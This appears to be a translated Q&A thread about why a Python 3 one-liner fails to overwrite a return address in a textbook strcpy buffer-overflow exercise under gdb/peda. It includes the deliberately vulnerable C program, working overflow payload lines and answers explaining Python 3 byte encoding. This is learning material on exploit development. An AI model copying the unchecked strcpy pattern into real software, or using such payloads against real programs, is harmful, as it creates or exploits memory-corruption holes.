web-dev-qa-db-ja.com

Python3でのバッファオーバーフローエクスプロイト:間違った戻りアドレスが書き込まれました

私はgdbとpedaで単純なバッファオーバーフローを悪用しようとしています。戻りアドレスをプログラムの関数のアドレスで書き換えたいだけです。私はpython2でそれを簡単に行うことができますが、python3ではそれは不可能のようです。戻りアドレスは正しいアドレスで書き換えられません。

私がすでに行った調査によると、python2がasciiを使用していて、python3がutf-8を使用しているため、エンコーディングがこの問題の原因です。このWebサイトで、役に立たないものを見つけました:/

脆弱なアプリのコードは次のとおりです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, address : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

これが私がpython2で使用するエクスプロイトです

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

これが私がpython3で使用するエクスプロイトであり、スタックはstrcpyを提供します:

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

私はこの出力を期待します:

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

これは正常に機能し、goodPassword関数を実行します。手伝ってくれてありがとう

5
nico567

Startiとは?これはgdb/pedaのラッパースクリプトですか?脆弱性のあるアプリケーションに渡されるpython3によって生成される文字列はどのような意味ですか?シェルは真ん中に含まれていますか?

私たちは期待する:

python -c 'print("\x48\x49\x90\x84\xe3\xe9")' |xxd  
0000000: 4849 9084 e3e9 0a                        HI.....

しかし、代わりにpython3は私たちに与えます:

python3 -c 'print(str(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd 
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...これは以下と機能的に同等です:

python3 -c 'import codecs; print(codecs.decode(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...さらに

python3 -c 'import codecs; print("".join(chr(x) for x in bytearray("\x48\x49\x90\x84\xe3\xe9".encode("latin-1"))))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

... this link に関する議論で提供された一連の回答によると。

Python3は、非ASCII文字の範囲がどのように処理されるかを知るために文字エンコードを渡す必要がありますが、print()関数は出力をシェルに渡しますが、シェルはUTF-を使用して解釈することになります。 8。この動作の有益な説明は this answer にあります。要約すると、このように見える行動回帰の多くは、print "something"からprint( "something")(組み込みのprint関数)に移動して、printをコンパイラーから削除するという単一の決定まで追跡できます ここで議論 。これはpython3が文字列のデフォルトの動作をバイトに変更した結果ですが、詳細は here です。

ただし、シェルをpythonと被害者のアプリの間に介在させることなく、何らかの方法で脆弱性のあるアプリケーションにエクスプロイトバッファーを渡すことができる場合は、上記の3つのpython3の例すべてから希望するバイト。

これを確認するには、出力ファイルに書き込み、出力ファイルで16進ダンプを実行します。理論的には、ソケット接続(?)を介してエクスプロイトバッファーを渡す場合も同じです。

#!/usr/bin/env python3
import os, sys

sploit = "\x48\x49\x90\x84\xe3\xe9"

with open("evil.txt","wb") as F:
    F.write(sploit.encode('latin-1'))
    F.close()

...そして証明:

hexdump -C evil.txt
00000000  48 49 90 84 e3 e9                                 |HI....|
00000006

もちろん、Python2は、これらすべての理由により、python3よりもはるかに簡単にエクスプロイトを記述できます。そしてもちろん、将来的にpython2の実行(またはインストール/利用可能にすること)に問題がある場合でも、Perlなどの他の主な言語は数多くあります。

Perl -e 'print "A"x4 . "\x48\x49\x90\x84\xe3\xe9";' |xxd
0000000: 4141 4141 4849 9084 e3e9                 AAAAHI....
1
SYANiDE

from here を使用してpython3 print()のいくつかの問題を回避できるようです

import sys
sys.stdout.buffer.write(b"some binary data")

linuxで動作するstdoutに直接書き込むが、Windowsでは問題が発生する可能性がある

0
fireblade